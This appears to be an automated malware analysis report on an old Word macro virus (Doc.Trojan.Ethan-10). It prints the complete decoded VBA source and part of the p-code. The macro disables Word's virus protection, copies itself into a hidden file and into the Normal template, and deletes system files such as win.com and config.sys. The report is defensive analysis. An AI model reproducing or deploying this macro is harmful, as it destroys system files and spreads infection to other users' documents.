Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e683e5165c9fca8d…

MALICIOUS

Office (OLE)

34.5 KB Created: 1999-11-01 22:14:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 49e21f89807fa47416781ac0eef53f20 SHA-1: 6172e50f5d476d2025006161efbed4c30bf8bffe SHA-256: e683e5165c9fca8de1b0985ecf929c52c4620c46e98fbc1ce75bfe17824ce375
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Ethan-10. It contains VBA macros that attempt to delete critical system files such as \windows\win.com, \windows\win.ini, \autoexec.bat, \config.sys, and others. The macro also attempts to write its own code to a file named MSDOS.PRV, suggesting a downloader or persistence mechanism. The document body itself is benign, indicating a lure to encourage macro execution.

Heuristics 2

  • ClamAV: Doc.Trojan.Ethan-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-10
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7462 bytes
SHA-256: 1c84e6217de6b3f227a56712b226dafea31f61f2f185c7797cee8f739a795ab1
Detection
ClamAV: Doc.Trojan.Ethan-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
ADS = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If Dir("MSDOS.PRV", 6) = "" Then
Open "MSDOS.PRV" For Output As #1
For iLoop = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
CodeLine = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(iLoop, 1)
Print #1, CodeLine
Next iLoop
Close #1
SetAttr "MSDOS.PRV", 6
End If
If Dir("\windows\win.com") <> "" Then Kill "\windows\win.com"
If Dir("\windows\win.ini") <> "" Then Kill "\windows\win.ini"
If Dir("\autoexec.bat") <> "" Then Kill "\autoexec.bat"
If Dir("\config.sys") <> "" Then Kill "\config.sys"
If Dir("\windows\class.sys") <> "" Then Kill "\windows\class.sys"
If Dir("\class.sys") <> "" Then Kill "\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set TheItem = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set TheItem = ActiveDocument.VBProject.VBComponents.Item(1)
Else
TheItem = ""
End If
If TheItem <> "" Then
Open "MSDOS.PRV" For Input As #1
If LOF(1) = 0 Then GoTo Fin
Count = 1
Do While Not EOF(1)
Line Input #1, CodeLine
TheItem.CodeModule.InsertLines Count, CodeLine
Count = Count + 1
Loop
Fin:
Close #1
With Dialogs(wdDialogFileSummaryInfo): .Title = "OOPS": .Author = "Billy McGrop": .Keywords = "To Vile": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> ADS Then ActiveDocument.Saved = ADS
End Sub

' Processing file: /opt/analyzer/scan_staging/7b109edc980c4a638fb98f2793a6dd60.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3698 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St ADS 
' Line #3:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #4:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #5:
' 	LitStr 0x0009 "MSDOS.PRV"
' 	LitDI2 0x0006 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #6:
' 	LitStr 0x0009 "MSDOS.PRV"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #7:
' 	StartForVariable 
' 	Ld iLoop 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #8:
' 	Ld iLoop 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St CodeLine 
' Line #9:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld CodeLine 
' 	PrintItemNL 
' Line #10:
' 	StartForVariable 
' 	Ld iLoop 
' 	EndForVariable 
' 	NextVar 
' Line #11:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #12:
' 	LitStr 0x0009 "MSDOS.PRV"
' 	LitDI2 0x0006 
' 	ArgsCall SetAttr 0x0002 
' Line #13:
' 	EndIfBlock 
' Line #14:
' 	LitStr 0x0010 "\windows\win.com"
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0000 ""
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0010 "\windows\win.com"
' 	ArgsCall Kill 0x0001 
' 	EndIf 
' Line #15:
' 	LitStr 0x0010 "\windows\win.ini"
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0000 ""
' 	Ne 
' 	I
... (truncated)

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